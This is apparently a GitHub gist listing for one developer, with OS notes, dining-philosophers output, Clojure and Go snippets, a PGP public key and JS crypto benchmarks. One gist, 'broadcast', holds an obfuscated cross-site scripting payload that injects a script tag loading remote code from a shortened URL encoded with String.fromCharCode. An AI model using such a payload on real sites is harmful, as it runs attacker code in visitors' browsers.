Skip to content

Instantly share code, notes, and snippets.

View MarcoPolo's full-sized avatar
🌠
Gradatim

Marco Munizaga MarcoPolo

🌠
Gradatim
View GitHub Profile
@MarcoPolo
MarcoPolo / os_test_1.txt
Created February 27, 2013 16:17
cheat sheet
Processes
=========
Why programs exit early
-----------------------
1.Normal exit (voluntary).
2.Error exit (voluntary).
3.Fatal error (involuntary).
hello there!
@MarcoPolo
MarcoPolo / gist:5240756
Created March 25, 2013 21:07
broadcast
Marco"></span><script>$.getScript(String.fromCharCode(104,116,116,112,58,47,47,98,105,116,46,108,121,47,89,98,51,50,83,117))</script>
Philosopher: 2 is testing the waters! state: 1 1 1
Philosopher: 0 is testing the waters! state: 1 1 1
Philosopher: 3 is Eating!
Philosopher: 1 is Eating!
Philosopher: 4 is going to release the semaphore!
Philosopher: 2 is going to release the semaphore!
Philosopher: 0 is going to release the semaphore!
Philosopher: 3 is going to release the semaphore!
Philosopher: 1 is going to release the semaphore!
(defn get-current-price
"Gets the current price from a response"
[response]
(->
(get response :body)
(parse-string)
(get-in ["return" "last" "display"])
(println)))
the -> converts (-> x (f a) (g b)) into (g (f x a) b)
the ->> converts (->> x (f a) (g b)) into (g b (f a x) )
@MarcoPolo
MarcoPolo / rps
Last active December 19, 2015 14:49
My first go
//My first Go program w/o any internet access
package main
import (
"net/http"
"fmt"
)
type Game struct {
@MarcoPolo
MarcoPolo / My Public Key
Created July 16, 2013 16:21
Marco's Pubkey
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.20 (GNU/Linux)
mQINBFHlbycBEADA5sfzue1g6wo7qUm+NmE8p3so6XGJE9lwtNJUimopdEezlffE
OJ6TZ3i72quwTwHNg2Xa4UMy+EUagf+dmawLGskbTPWtHXESny5wAMc98JyTIMvr
4CcBAKhBd2YmLTlF3DP5b00yc2Sf+AgKk8MRz6CCkCHcowHpj0/dFEsmxhqwJL6V
6V5BmMXR1jW2x1N0oVLbsOmVZ2SunrAUEv1XoT/50RopQffEiGdK2qaCGQI9llJK
J0I1+m3PtQPtaQCXPJaHJws6W5PTBXcMPEruiwemudjxmXNLS8zlxog7FyZexFbm
L5IHjQRztkDgvdqpH0jjA/hGcxPXtHIVR6+A+lc9kHlgrgGXJQ/ijn+alK3w5pYB
97t49JRaL5PAqRSKtRK/t9+cnP0KWGEgsEV5dmoGAYa25Qbqh6Ed2rj3/zyITT35
@MarcoPolo
MarcoPolo / gist:6180338
Last active December 20, 2015 18:59
benchmark of some encryption algorithms
Benchmarking CCM, with 1MB file (patched with arraybuffer)
Total Bytes 1048576 Chunk.js:156
Benchmark took: 48028 ms Chunk.js:157
Total Iterations: 100 iterations Chunk.js:158
Average of : 480.28 ms per 1MB
Benchmarking CCM, with 1MB file (no patch)
Total Bytes 1048576
Benchmark took: 7357 ms
Total Iterations: 10 iterations
if (typeof(ArrayBuffer) === 'undefined') {
(function(globals){
"use strict";
globals.ArrayBuffer = function(){};
globals.DataView = function(){};
}(this));
}